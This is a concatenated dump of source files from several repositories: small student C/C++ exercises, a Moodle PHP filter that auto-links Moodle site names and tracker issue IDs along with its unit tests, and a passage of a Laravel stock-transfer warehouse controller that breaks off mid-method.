for(m=0;m<5;m++)
{
printf("%d %d",&pers[m].no,&pers[m].sum_grade)<file_sep>#include<iostream>
#include <stdlib.h>
#include <string>
#include<iomanip>
using namespace std;
//汽车类
class vehicle
{
public:
vehicle(int elem_wheels,int elem_weight);
void get1();
protected:
int wheels;//轮子数
int weight;//重量
};
vehicle::vehicle(int elem_wheels,int elem_weight)
{
wheels=elem_wheels;
weight=elem_weight;
}
void vehicle::get1()
{
cout<<"wheels:"<<wheels<<endl;
cout<<"weight:"<<weight<<endl;
}
//私有派生类小车类
class car:private vehicle
{
private:
int passenger_load;//载人数
int payload;//载重量
public:
car(int elem_wheels,int elem_weight,int elem_passenger_load,int payload);
void get2();
};
car::car(int elem_wheels,int elem_weight,int elem_passenger_load,int elem_payload):vehicle(elem_wheels,elem_weight)//
{
passenger_load=elem_passenger_load;
payload=elem_payload;
}
void car::get2()
{
cout<<"car:"<<endl;
vehicle::get1();//访问基类公有成员函数
cout<<"passenger_load"<<passenger_load<<endl;
cout<<"payload="<<payload<<endl;
}
//私有派生类货车类
class truck:private vehicle
{
private:
int passenger_load;//载人数
public:
truck(int elem_wheels,int elem_weight,int elem_passenger_load);
void get3();
};
truck::truck(int elem_wheels,int elem_weight,int elem_passenger_load):vehicle(elem_wheels,elem_weight)
{
passenger_load=elem_passenger_load;
}
void truck::get3()
{
cout<<"truck:"<<endl;
vehicle::get1();//访问基类公有成员函数
cout<<"passenger_load="<<passenger_load<<endl;
}
void main()
{
car a(4,100,4,50);
a.get2();
truck b(8,500,2);
b.get3();
}
<file_sep>#include<stdio.h>
int fun3(int *pa,int *pb)//指针变量作为函数参量
{
int c3,th,hun,ten,unit;
c3=0;
th=*pa/1%10;
hun=*pb/1%10;
ten=*pa/10%10;
unit=*pb/10%10;
c3=th*1000+hun*100+ten*10+unit*1;
return (c3);
}
main()
{
int a,b,*pa,*pb,c;
scanf("%d %d",&a,&b);
pa=&a;pb=&b;
c=fun3(&a,&b);
printf("%d",c);
}
| dd6653e34a98083406231503d9b39d107afe185a | [
"Markdown",
"C",
"C++"
] | 6 | C | 201811050980/fish-in-trouble-water | 76965e63fb77d8bbd31d5f9f64590038305a7cf4 | 576c5226f655999f2f9dc3394713acff067d7b0c |
refs/heads/master | <repo_name>moodlehq/moodle-filter_moodlelinks<file_sep>/filter.php
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* Moodle links filter for moodle.org
*
* @package filter_moodlelinks
* @copyright 2011 onwards <NAME> (stronk7) {@link http://stronk7.com}
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
defined('MOODLE_INTERNAL') || die();
class filter_moodlelinks extends moodle_text_filter {
// All the phrases to convert to links.
// Format: phrase => array(<a> tag, casesensitive, fullmatch, forcephrase).
protected $links = array(
// Some are case-sensitive, non full-match
'Moodle download' => array('<a title="Auto-link" href="http://download.moodle.org/">', true, false),
'download Moodle' => array('<a title="Auto-link" href="http://download.moodle.org/">', true, false),
'download page' => array('<a title="Auto-link" href="http://download.moodle.org/">', true, false),
// With this being full-match
//'Using Moodle' => array('<a title="Auto-link" href="https://moodle.org/course/view.php?id=5">', true, true),
// The rest are case-insensitive and full-match (and using forced phrase)
'moodle roadmap' => array('<a title="Auto-link" href="http://docs.moodle.org/dev/Roadmap">', false, true, 'Moodle Roadmap'),
'moodle themes' => array('<a title="Auto-link" href="https://moodle.org/themes">', false, true, 'Moodle Themes'),
'moodle partners' => array('<a title="Auto-link" href="http://moodle.com/partners">', false, true, 'Moodle Partners'),
'moodle partner' => array('<a title="Auto-link" href="http://moodle.com/partners">', false, true, 'Moodle Partner'),
'moodle tracker' => array('<a title="Auto-link" href="https://tracker.moodle.org">', false, true, 'Moodle Tracker'),
'moodle jobs' => array('<a title="Auto-link" href="https://moodle.org/jobs">', false, true, 'Moodle jobs'),
'moodle books' => array('<a title="Auto-link" href="https://moodle.org/books">', false, true, 'Moodle books'),
'mooch' => array('<a title="MoodleNet - Connecting and empowering educators worldwide" href="https://moodle.net">', false, true),
'moodle.net' => array('<a title="MoodleNet - Connecting and empowering educators worldwide" href="https://moodle.net">', false, true),
'moodlenet' => array('<a title="MoodleNet - Connecting and empowering educators worldwide" href="https://moodle.net">', false, true),
'planet moodle' => array('<a title="Auto-link" href="http://planet.moodle.org">', false, true, 'Planet Moodle'),
'moodle plugins' => array('<a title="Auto-link" href="https://moodle.org/plugins">', false, true, 'Moodle plugins'),
'plugins directory' => array('<a title="Auto-link" href="https://moodle.org/plugins">', false, true, 'Plugins directory'),
'moodlecloud' => array('<a title="Auto-link" href="https://moodle.com/cloud/">', false, true, 'MoodleCloud'),
'Moodle Users Association' => array('<a title="Auto-link" href="https://moodleassociation.org/">', false, true, 'Moodle Users Association'),
// Some case-sensitive abbrevs, full matched.
'MUA' => array('<a title="Auto-link" href="https://moodleassociation.org/">', true, true),
);
public function filter($text, array $options = array()) {
// Trivial-cache - keyed on $cachedcontextid.
static $cachedcontextid;
static $linklist;
// Initialise/invalidate our trivial cache if dealing with a different context.
if (!isset($cachedcontextid) || $cachedcontextid !== $this->context->id) {
$cachedcontextid = $this->context->id;
$linklist = array();
}
// Define the links if needed (may be cached).
if (empty($linklist)) {
foreach ($this->links as $search => $replace) {
if (!isset($replace[0])) {
continue; // Skip if the target a tag is not specified.
}
$atagbegin = $replace[0];
$atagend = '</a>';
$casesensitive = isset($replace[1]) ? $replace[1] : false;
$fullmatch = isset($replace[2]) ? $replace[2] : true;
$forcephrase = isset($replace[3]) ? $replace[3] : null;
$linklist[] = new filterobject($search, $atagbegin, $atagend, $casesensitive, $fullmatch, $forcephrase);
}
// Remove dupes, just in case.
$linklist = filter_remove_duplicates($linklist);
}
// Let's filter all the filter objects.
$text = filter_phrases($text, $linklist);
// Some legacy links to the cvs repository.
// TODO: Take them out once the cvs repo is down.
$text = preg_replace("|cvs:/([[:alnum:]\./_-]*)([[:alnum:]/])|i",
"<a title=\"Auto-link to Moodle CVS repository\" href=\"http://cvs.moodle.org/\\1\\2\">cvs:/$1$2</a>",
$text);
// TODO: Add links to the git repository
// Tim's spiffy new regexp, see test.php in this directory
$regexp = '#' .
'(?:MDL|MOBILE|MDLSITE|CONTRIB|MDLQA|MDLTEST)-\d+' . // The basic pattern we are trying to match (\d is any digit).
'\b' . // At the end of a word, That is, we don't want to match MDL-123xyz, but we don't care if we are followed by a space, punctionation or ...
'(?![^\'"<>]*[\'"]\s*(?:\w+=[\'"][^\'"]*[\'"])*\\\?>)' . // Try to avoid matching if we are inside a HTML attribute. relies on having moderately well-formed HTML.
'(?![^<]*</a>)' . // Try to avoid matching inside another link. Can be fooled by HTML like: <a href="..."><b>MDL-123</b></a>.
'#';
$text = preg_replace($regexp,
'<a title="Auto-link to Moodle Tracker" href="https://tracker.moodle.org/browse/$0">$0</a>',
$text);
return $text;
}
}
<file_sep>/CHANGES.md
### 3.8.0 ###
* Updated the auto-links to the new MoodleNet portal, added auto-links to the
MoodleCloud and MUA sites (MDLSITE-4152).
<file_sep>/README.md
Moodlelinks filter
==================
The filter creates links to some very well known places at moodle.org (cvs, tracker, downloads...)
<file_sep>/tests/filter_test.php
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* Moodle links filter phpunit tests
*
* @package filter_moodlelinks
* @category test
* @copyright 2012 onwards <NAME> (stronk7) {@link http://stronk7.com}
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
defined('MOODLE_INTERNAL') || die();
global $CFG;
require_once($CFG->dirroot . '/filter/moodlelinks/filter.php'); // Include the code to test
/**
* Moodle links filter testcase
*/
class filter_moodlelinks_testcase extends basic_testcase {
/**
* Test some simple replaces, some case-sensitive, others no...
*/
function test_filter_simple() {
// Some simple words, originally replaced with str_[i]replace(), now
// processed by the better filter_phrases() stuff. Results are 99% the
// original ones but now we avoid replacing into tags and links.
$texts = array(
'AMoodle downloadZ' => 'A<a title="Auto-link" href="http://download.moodle.org/">Moodle download</a>Z',
'AMOODLE downloadZ' => 'AMOODLE downloadZ', // Not replaced, case-sensitive search
'Adownload MoodleZ' => 'A<a title="Auto-link" href="http://download.moodle.org/">download Moodle</a>Z',
'Adownload MOODLEZ' => 'Adownload MOODLEZ', // Not replaced, case-sensitive search
'Adownload pageZ' => 'A<a title="Auto-link" href="http://download.moodle.org/">download page</a>Z',
'Adownload PAGEZ' => 'Adownload PAGEZ', // Not replaced, case-sensitive search
'A Using Moodle,' => 'A Using Moodle,',
'A Using MoodleZ' => 'A Using MoodleZ', // Not replaced, full-match search
'A Using MOODLE' => 'A Using MOODLE', // Not replaced, case-sensitive search
'A MOODLE roadmap.' => 'A <a title="Auto-link" href="http://docs.moodle.org/dev/Roadmap">Moodle Roadmap</a>.',
'A MOODLE roadmapZ' => 'A MOODLE roadmapZ', // Not replaced, full-match search
'AAMOODLE roadmap' => 'AAMOODLE roadmap', // Not replaced, full-match search
'A MOODLE themes.' => 'A <a title="Auto-link" href="https://moodle.org/themes">Moodle Themes</a>.',
'A MOODLE partners,' => 'A <a title="Auto-link" href="http://moodle.com/partners">Moodle Partners</a>,',
'A MOODLE partner:' => 'A <a title="Auto-link" href="http://moodle.com/partners">Moodle Partner</a>:',
'A MOODLE trackeR:' => 'A <a title="Auto-link" href="https://tracker.moodle.org">Moodle Tracker</a>:',
'A MOODLE jobs/' => 'A <a title="Auto-link" href="https://moodle.org/jobs">Moodle jobs</a>/',
'.MOODLE books' => '.<a title="Auto-link" href="https://moodle.org/books">Moodle books</a>',
',MoocH' => ',<a title="MoodleNet - Connecting and empowering educators worldwide" href="https://moodle.net">MoocH</a>',
'MoOdLe.NeT' => '<a title="MoodleNet - Connecting and empowering educators worldwide" href="https://moodle.net">MoOdLe.NeT</a>',
'MoodleNET' => '<a title="MoodleNet - Connecting and empowering educators worldwide" href="https://moodle.net">MoodleNET</a>',
' planet MOODLE' => ' <a title="Auto-link" href="http://planet.moodle.org">Planet Moodle</a>',
': MOODLE plugins' => ': <a title="Auto-link" href="https://moodle.org/plugins">Moodle plugins</a>',
'[plugins DIRECTORY)' => '[<a title="Auto-link" href="https://moodle.org/plugins">Plugins directory</a>)',
'see moodlecloud for details' => 'see <a title="Auto-link" href="https://moodle.com/cloud/">MoodleCloud</a> for details',
'The moodle users association.' => 'The <a title="Auto-link" href="https://moodleassociation.org/">Moodle Users Association</a>.',
',MUA site.' => ',<a title="Auto-link" href="https://moodleassociation.org/">MUA</a> site.',
'East Midlands Universities Association (EMUA)' => 'East Midlands Universities Association (EMUA)',
// Verify MDLSITE-1632 (replacements into tags and links) is fixed.
'<a title="to Moodle Tracker" href="">MDLSITE-111</a>' => '<a title="to Moodle Tracker" href="">MDLSITE-111</a>',
'<a title="Auto-link" href="">to Moodle Tracker</a>' => '<a title="Auto-link" href="">to Moodle Tracker</a>'
);
$filter = new testable_filter_moodlelinks();
foreach ($texts as $text => $expected) {
$msg = "Testing text '$text':";
$result = $filter->filter($text);
$this->assertEquals($expected, $result, $msg);
}
}
/**
* Test some complexer links to the Moodle Tracker (including Tim's ones @ MDLSITE-647)
*/
function test_filter_tracker() {
$texts = array(
// Not replaced cases by Tim's regexp
'MDL-123Z' => 'MDL-123Z',
'<a href="http://tracker.moodle.org/browse/CONTRIB-1234567890">CONTRIB-1234567890</a>' => '<a href="http://tracker.moodle.org/browse/CONTRIB-1234567890">CONTRIB-1234567890</a>',
"<a href = 'http://tracker.moodle.org/browse/CONTRIB-1234567890'>CONTRIB-1234567890</a>" => "<a href = 'http://tracker.moodle.org/browse/CONTRIB-1234567890'>CONTRIB-1234567890</a>",
'<a href="http://www.google.com.au/search?q=MDL-123">Google search</a>' => '<a href="http://www.google.com.au/search?q=MDL-123">Google search</a>',
'<a href = "http://www.google.com.au/search?q=MDL-123"><br />Google search</a>' => '<a href = "http://www.google.com.au/search?q=MDL-123"><br />Google search</a>',
'<a href="http://www.google.com.au/">go to Google and search for MDL-123</a>' => '<a href="http://www.google.com.au/">go to Google and search for MDL-123</a>',
'<a href="http://www.google.com.au/">search for MDL-123 on Google</a>' => '<a href="http://www.google.com.au/">search for MDL-123 on Google</a>',
'<a href="http://example.com/a/very/very/long/url/containing/MDL-123"><br />MDL-123</a>' => '<a href="http://example.com/a/very/very/long/url/containing/MDL-123"><br />MDL-123</a>',
// A known limit of the regexp, we have to live with it (unless somebody fixes it without breaking the rest)
'search Google for <a href="http://www.google.com.au/"><b>MDLSITE-0</b></a>' => 'search Google for <a href="http://www.google.com.au/"><b><a title="Auto-link to Moodle Tracker" href="https://tracker.moodle.org/browse/MDLSITE-0">MDLSITE-0</a></b></a>',
// Replaced cases by Tim's regexp
'MDL-123' => '<a title="Auto-link to Moodle Tracker" href="https://tracker.moodle.org/browse/MDL-123">MDL-123</a>',
'<b>MDL-123</b>' => '<b><a title="Auto-link to Moodle Tracker" href="https://tracker.moodle.org/browse/MDL-123">MDL-123</a></b>',
'See MDL-1 for details!' => 'See <a title="Auto-link to Moodle Tracker" href="https://tracker.moodle.org/browse/MDL-1">MDL-1</a> for details!',
'http://www.google.com.au/search?q=MDL-1' => 'http://www.google.com.au/search?q=<a title="Auto-link to Moodle Tracker" href="https://tracker.moodle.org/browse/MDL-1">MDL-1</a>',
'<a href="http://example.com">Link</a>http://www.google.com.au/search?q=MDL-123' => '<a href="http://example.com">Link</a>http://www.google.com.au/search?q=<a title="Auto-link to Moodle Tracker" href="https://tracker.moodle.org/browse/MDL-123">MDL-123</a>',
'search for MDL-123 on <a href="http://www.google.com.au/">Google</a>' => 'search for <a title="Auto-link to Moodle Tracker" href="https://tracker.moodle.org/browse/MDL-123">MDL-123</a> on <a href="http://www.google.com.au/">Google</a>',
'<br /> This should be working - MDL-123. Please vote for it if you\'d like... <br />' => '<br /> This should be working - <a title="Auto-link to Moodle Tracker" href="https://tracker.moodle.org/browse/MDL-123">MDL-123</a>. Please vote for it if you\'d like... <br />',
"The bug 'MDL-123' is > (more serious than)" => "The bug '<a title=\"Auto-link to Moodle Tracker\" href=\"https://tracker.moodle.org/browse/MDL-123\">MDL-123</a>' is > (more serious than)",
// The texts like 'bug #123' or 'bug 123' should not be processed (MDLSITE-4019).
'Bug 123X' => 'Bug 123X',
'Bug #123X' => 'Bug #123X',
'<a href="http://www.google.com.au/">Look for Bug 123</a>' => '<a href="http://www.google.com.au/">Look for Bug 123</a>',
'Bug 123' => 'Bug 123',
'Bug #123' => 'Bug #123',
'bUg 123' => 'bUg 123',
'<b>Bug 123</b>' => '<b>Bug 123</b>',
'http://www.google.com.au/search?q=Bug 123' => 'http://www.google.com.au/search?q=Bug 123',
// Links to other projects (CONTRIB, MDLSITE, MDLQA, MDLTEST, MOBILE)
'CONTRIB-1234567890' => '<a title="Auto-link to Moodle Tracker" href="https://tracker.moodle.org/browse/CONTRIB-1234567890">CONTRIB-1234567890</a>',
'MDLSITE-0' => '<a title="Auto-link to Moodle Tracker" href="https://tracker.moodle.org/browse/MDLSITE-0">MDLSITE-0</a>',
'MDLQA-0' => '<a title="Auto-link to Moodle Tracker" href="https://tracker.moodle.org/browse/MDLQA-0">MDLQA-0</a>',
'MDLTEST-0' => '<a title="Auto-link to Moodle Tracker" href="https://tracker.moodle.org/browse/MDLTEST-0">MDLTEST-0</a>',
'MOBILE-1234567890' => '<a title="Auto-link to Moodle Tracker" href="https://tracker.moodle.org/browse/MOBILE-1234567890">MOBILE-1234567890</a>',
);
$filter = new testable_filter_moodlelinks();
foreach ($texts as $text => $expected) {
$msg = "Testing text: ". str_replace('%', '%%', $text) . ": %s"; // Escape original '%' so sprintf() wont get confused
$result = $filter->filter($text);
$this->assertEquals($expected, $result, $msg);
}
}
}
/**
* Subclass of filter_moodlelinks, for easier testing.
*/
class testable_filter_moodlelinks extends filter_moodlelinks {
public function __construct() {
$this->context = context_system::instance();
}
}
| 6b7809f67dfc70dafa6379a9ebae81fcf4628c93 | [
"Markdown",
"PHP"
] | 4 | PHP | moodlehq/moodle-filter_moodlelinks | 92a42d0a28d04cc4c7c9d6ea643b9a884eb7d569 | a89d4dcfc80d485c974132ab35cd1006384b5869 |
refs/heads/master | <file_sep><?php
class StocktransferController extends \BaseController {
private $data = array();
protected $layout = "layouts.main";
public function __construct() {
$this->beforeFilter('csrf', array('on' => 'post'));
$this->beforeFilter('auth', array('only'=> array('Dashboard')));
$this->apiUrl = Config::get('constant.api_url');
date_default_timezone_set('Asia/Manila');
// $receiving = "classes/receive_po.php 20283";
// CommonHelper::execInBackground($receiving);
}
public function getUpdateDate()
{
$move_doc_number = Input::get('move_doc_number', NULL);
$ship_date = Input::get('filter_date_entry', null);
StoreReturnPickinglist::getUpdateDateMod($move_doc_number, $ship_date);
return Redirect::to('stocktransfer/PickAndPackStore?&move_doc_number='.$move_doc_number)->with('message','Ship Date Successfully Update!');
}
public function exportCSVasdf2fsdf()
{
$arrParams = array(
'filter_entry_date' => Input::get('filter_entry_date', NULL),
'filter_doc_no' => Input::get('filter_doc_no', NULL),
'filter_status' => Input::get('filter_status', NULL),
'sort' => Input::get('sort', 'doc_no'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = StoreReturnPickinglist::getStocktransferPickReport($arrParams);
$output = Lang::get('picking.col_doc_no'). ',';
$output .= Lang::get('picking.col_from_slot_code'). ',';
$output .= Lang::get('picking.col_to_slot_code'). ',';
$output .= Lang::get('picking.col_sku'). ',';
$output .= Lang::get('picking.col_upc'). ',';
$output .= Lang::get('picking.col_shrt_nm'). ',';
$output .= Lang::get('picking.col_qty_to_pick'). ',';
$output .= Lang::get('picking.col_stock_piler'). ',';
$output .= Lang::get('picking.col_entry_date'). ',';
$output .= Lang::get('picking.col_var'). "\n";
foreach ($results as $key => $value) {
$exportData = array(
'"' . $value->move_doc_number . '"',
'"' . $value->store_name . '"',
'"' . $value->to_store_code . '"',
'"' . $value->sku . '"',
'"' . $value->upc . '"',
'"' . $value->description . '"',
'"' . $value->quantity_to_pick . '"',
'"' . $value->firstname . ' '. $value->lastname .'"',
'"' .date("M d, Y", strtotime($value->created_at)). '"',
'"' . $value->variance . '"'
);
$output .= implode(",", $exportData);
$output .= "\n";
}
$headers = array(
'Content-Type' => 'text/csv',
'Content-Disposition' => 'attachment; filename="picklist_' . date('Ymd') . '_' . time() . '.csv"',
);
return Response::make(rtrim($output, "\n"), 200, $headers);
}
public function getstockloadassign() {
// Search Filters
$filter_load_code = Input::get('filter_load_code', NULL);
$filter_assigned_to_user_id = Input::get('filter_assigned_to_user_id', NULL);
$filter_ship_at = Input::get('filter_ship_at', NULL);
//$filter_store = Input::get('filter_store', NULL);
//$filter_stock_piler = Input::get('filter_stock_piler', NULL);
$sort = Input::get('sort', 'load_code');
$order = Input::get('order', 'DESC');
$page = Input::get('page', 1);
$this->data = Lang::get('box');
$this->data['load_code'] = Input::get('load_code');
$this->data['params'] = explode(',', Input::get('load_code'));
$this->data['info'] = Load::getInfoLoad($this->data['params']);
$this->data['stock_piler_list'] = $this->getStockPilers();
$this->data['filter_assigned_to_user_id'] = $filter_assigned_to_user_id;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$this->data['url_back'] = URL::to('stocktransfer/stocktranferload'). $this->setURL();
$this->layout->content = View::make('store_return.assign_load_number', $this->data);
}
public static function getstockloadassignpost()
{
$pilers = implode(',' , Input::get('stock_piler'));
$arrBoxCode = explode(',', Input::get("load_code"));
foreach ($arrBoxCode as $codes) {
$arrParams = array(
'assigned_by' => Auth::user()->id,
'assigned_to_user_id' => $pilers, //Input::get('stock_piler'),
'updated_at' => date('Y-m-d H:i:s')
);
load::assignToStockPiler($codes, $arrParams);
}
return Redirect::to('stocktransfer/stocktranferload')->with('message','Successfully assigned the Load!');
}
public function getMTSGenerateLoadCode()
{
$loadMax = StoreReturnload::select(DB::raw('max(id) as max_created, max(load_code) as load_code'))->first()->toArray();
if($loadMax['max_created'] === null) {
$loadCode = 'LD0000001';
} else {
$loadCode = substr($loadMax['load_code'], -7);
$loadCode = (int) $loadCode + 1;
$loadCode = 'LD' . sprintf("%07s", (int)$loadCode);
}
StoreReturnload::create(array(
'load_code' => $loadCode)
);
$load = StoreReturnload::where('load_code', '=',$loadCode)->first()->toArray();
echo json_encode($load);
die();
}
public function getMtsRecevingDetail()
{
$so_no =Input::get('so_no',null);
$picklistDoc = Input::get('picklistDoc', NULL);
$this->data = lang::get('store_return');
$mts_number = Input::get('mts_number', NULL);
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['url_back'] = URL::to('stock_transfer/MTSReceiving');
// Search Filters
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
// Search Filters
$filter_type = Input::get('filter_type', NULL);
$filter_doc_no = Input::get('filter_doc_no', NULL);
$filter_status = Input::get('filter_status', NULL);
$filter_sku = Input::get('filter_sku', NULL);
$filter_upc = Input::get('filter_upc', NULL);
$filter_so = Input::get('filter_so', NULL);
$filter_entry_date = Input::get('filter_entry_date', null);
$filter_from_slot = Input::get('filter_from_slot', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_stock_piler = Input::get('filter_stock_piler', NULL);
// $filter_to_slot = Input::get('filter_to_slot', NULL);
// $filter_status_detail = Input::get('filter_status_detail', NULL);
//for back
$sort_back = Input::get('sort_back' );
$order_back = Input::get('order_back', 'ASC');
$page_back = Input::get('page_back', 1);
// Details
$sort_detail = Input::get('sort', 'sku');
$order_detail = Input::get('order', 'ASC');
$page_detail = Input::get('page', 1);
$arrParams = array(
'filter_sku' => $filter_sku,
'filter_upc' => $filter_upc,
'filter_so' => $filter_so,
'filter_from_slot' => $filter_from_slot,
'filter_entry_date' => $filter_entry_date,
// 'filter_to_slot' => $filter_to_slot,
// 'filter_status_detail' => $filter_status_detail,
'sort' => $sort_detail,
'order' => $order_detail,
'page' => $page_detail,
'picklist_doc' => $picklistDoc,
'limit' => 30
);
$results = StoreReturnDetail::getFilteredPicklistDetailasdf($picklistDoc, $arrParams)->toArray();
$results_total = StoreReturnDetail::getFilteredPicklistDetailasdf($picklistDoc, $arrParams, true);
// echo "<pre>"; print_r($results);die();
// Pagination
$this->data['arrFilters'] = array(
// 'filter_to_slot' => $filter_to_slot,
// 'filter_status_detail' => $filter_status_detail,
'filter_type' => $filter_type,
'filter_doc_no' => $filter_doc_no,
'filter_status' => $filter_status,
'filter_store' => $filter_store,
'filter_entry_date' => $filter_entry_date,
'filter_stock_piler' => $filter_stock_piler,
'sort_back' => $sort_back,
'order_back' => $order_back,
'page_back' => $page_back,
'picklist_doc' => $picklistDoc,
'filter_sku' => $filter_sku,
'filter_upc' => $filter_upc,
'filter_so' => $filter_so,
'filter_from_slot' => $filter_from_slot,
'sort' => $sort_detail,
'order' => $order_detail
);
$this->data['stock_pick_detail'] = Paginator::make($results, $results_total, 30);
$this->data['picklist_detail_count'] = $results_total;
$this->data['counter'] = $this->data['stock_pick_detail']->getFrom();
$this->data['picklistDoc'] = $picklistDoc;
$this->data['filter_type'] = $filter_type;
$this->data['filter_doc_no'] = $filter_doc_no;
$this->data['filter_status'] = $filter_status;
$this->data['filter_entry_date'] = $filter_entry_date;
$this->data['filter_sku'] = $filter_sku;
$this->data['filter_upc'] = $filter_upc;
$this->data['filter_so'] = $filter_so;
$this->data['filter_from_slot'] = $filter_from_slot;
$this->data['filter_store'] = $filter_store;
$this->data['filter_stock_piler'] = $filter_stock_piler;
$this->data['sort_back'] = $sort_back;
$this->data['order_back'] = $order_back;
$this->data['page_back'] = $page_back;
$this->data['sort'] = $sort_detail;
$this->data['order'] = $order_detail;
$this->data['page'] = $page_detail;
$url = '?filter_sku=' . $filter_sku . '&filter_upc=' . $filter_upc . '&filter_so=' . $filter_so;
$url .= '&filter_from_slot=' . $filter_from_slot . '&picklist_doc=' . $picklistDoc.'&filter_entry_date='.$filter_entry_date;
$url .= '&page=' . $page_detail;
$order_sku = ($sort_detail=='sku' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_upc = ($sort_detail=='upc' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_so_no = ($sort_detail=='so_no' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$this->layout->content = View::make('store_return.mts_receiving_detail', $this->data);
}
public function getList() {
$this->data = Lang::get('store_return');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['button_export'] = Lang::get('general.button_export');
// URL
$this->data['url_assign'] = URL::to('store_return/fromstore'. $this->setURL());
$this->data['url_export'] = URL::to('store_return/export');
$this->data['url_detail'] = URL::to('store_return/detail' . $this->setURL(true));
$this->data['url_mts_receiving_detail'] =URL::to('store_return/mts_receiving_detail'.$this->setURL(true));
// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
// Search Options
$store_list = StoreReturn::getStoreList();
if(CommonHelper::arrayHasValue($store_list)) {
foreach($store_list as $store){
$this->data['store_list'][$store] = $store;
}
}
else {
$this->data['store_list'][] = NULL;
}
// Search Filters
$filter_so_no = Input::get('filter_so_no', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_created_at = Input::get('filter_created_at', NULL);
$filter_status = Input::get('filter_status', NULL);
$mts_number = Input::get('mts_number', null);
$sort = Input::get('sort', 'so_no');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
//Data
$arrParams = array(
'filter_so_no' => $filter_so_no,
'filter_store' => $filter_store,
'filter_created_at' => $filter_created_at,
'filter_status' => $filter_status,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = StoreReturn::getSOList($arrParams);
foreach ($results as $result) {
$arrParams = array(
'filter_so_no' => $filter_so_no,
'filter_store' => $filter_store,
'filter_created_at' => $filter_created_at,
'filter_status' => $filter_status,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 0
);
$details= StoreReturnDetail::getSODetails($result['so_no'], $arrParams)->toArray();
foreach($details as $detail){
if($detail['received_qty'] != $detail['delivered_qty'] ){
$result->discrepancy=1;
break;
}
}
}
$results = $results->toArray();
$results_total = StoreReturn::getCount($arrParams);
// Pagination
$this->data['arrFilters'] = array(
'filter_so_no' => $filter_so_no,
'filter_store' => $filter_store,
'filter_created_at' => $filter_created_at,
'filter_status' => $filter_status,
'sort' => $sort,
'order' => $order
);
$this->data['store_return'] = Paginator::make($results, $results_total, 30);
$this->data['store_return_count'] = $results_total;
$this->data['counter'] = $this->data['store_return']->getFrom();
$this->data['so_status_type'] = Dataset::getTypeWithValue("SR_STATUS_TYPE");
// print_r($results); die();
$this->data['filter_so_no'] = $filter_so_no;
$this->data['filter_store'] = $filter_store;
$this->data['filter_created_at'] = $filter_created_at;
$this->data['filter_status'] = $filter_status;
$this->data['mts_number'] = $mts_number;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = '?filter_so_no=' . $filter_so_no . '&filter_store=' . $filter_store;
$url .= '&filter_created_at=' . $filter_created_at;
$url .= '&filter_status=' . $filter_status;
$url .= '&page=' . $page;
$order_so_no = ($sort=='so_no' && $order=='ASC') ? 'DESC' : 'ASC';
$order_store = ($sort=='store' && $order=='ASC') ? 'DESC' : 'ASC';
$order_created_at = ($sort=='created_at' && $order=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_so_no'] = URL::to('store_return' . $url . '&sort=so_no&order=' . $order_so_no, NULL, FALSE);
$this->data['sort_store'] = URL::to('store_return' . $url . '&sort=store&order=' . $order_store, NULL, FALSE);
$this->data['sort_created_at'] = URL::to('store_return' . $url . '&sort=created_at&order=' . $order_created_at, NULL, FALSE);
$this->layout->content = View::make('store_return/stocktransfer', $this->data);
}
public function getFromStorelist()
{
$filter_status = Input::get('filter_status', NULL);
$filter_so_no = Input::get('filter_so_no', null);
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['po_status_type'] = Dataset::getTypeInList("PO_STATUS_TYPE");
$this->data['filter_status'] = $filter_status;
$this->data['filter_so_no'] = $filter_so_no;
$this->layout->content = View::make('store_return/fromstorelist', $this->data);
}
public function StockTransferpiler() {
// Search Filters
$filter_so_no = Input::get('filter_so_no', NULL);
$filter_store_name = Input::get('filter_store_name', NULL);
$filter_created_at = Input::get('filter_created_at', NULL);
$filter_status = Input::get('filter_status', NULL);
$sort = Input::get('sort', 'so_no');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
$this->data = Lang::get('store_return');
$this->data['so_no'] = Input::get('so_no');
$this->data['filter_so_no'] = $filter_so_no;
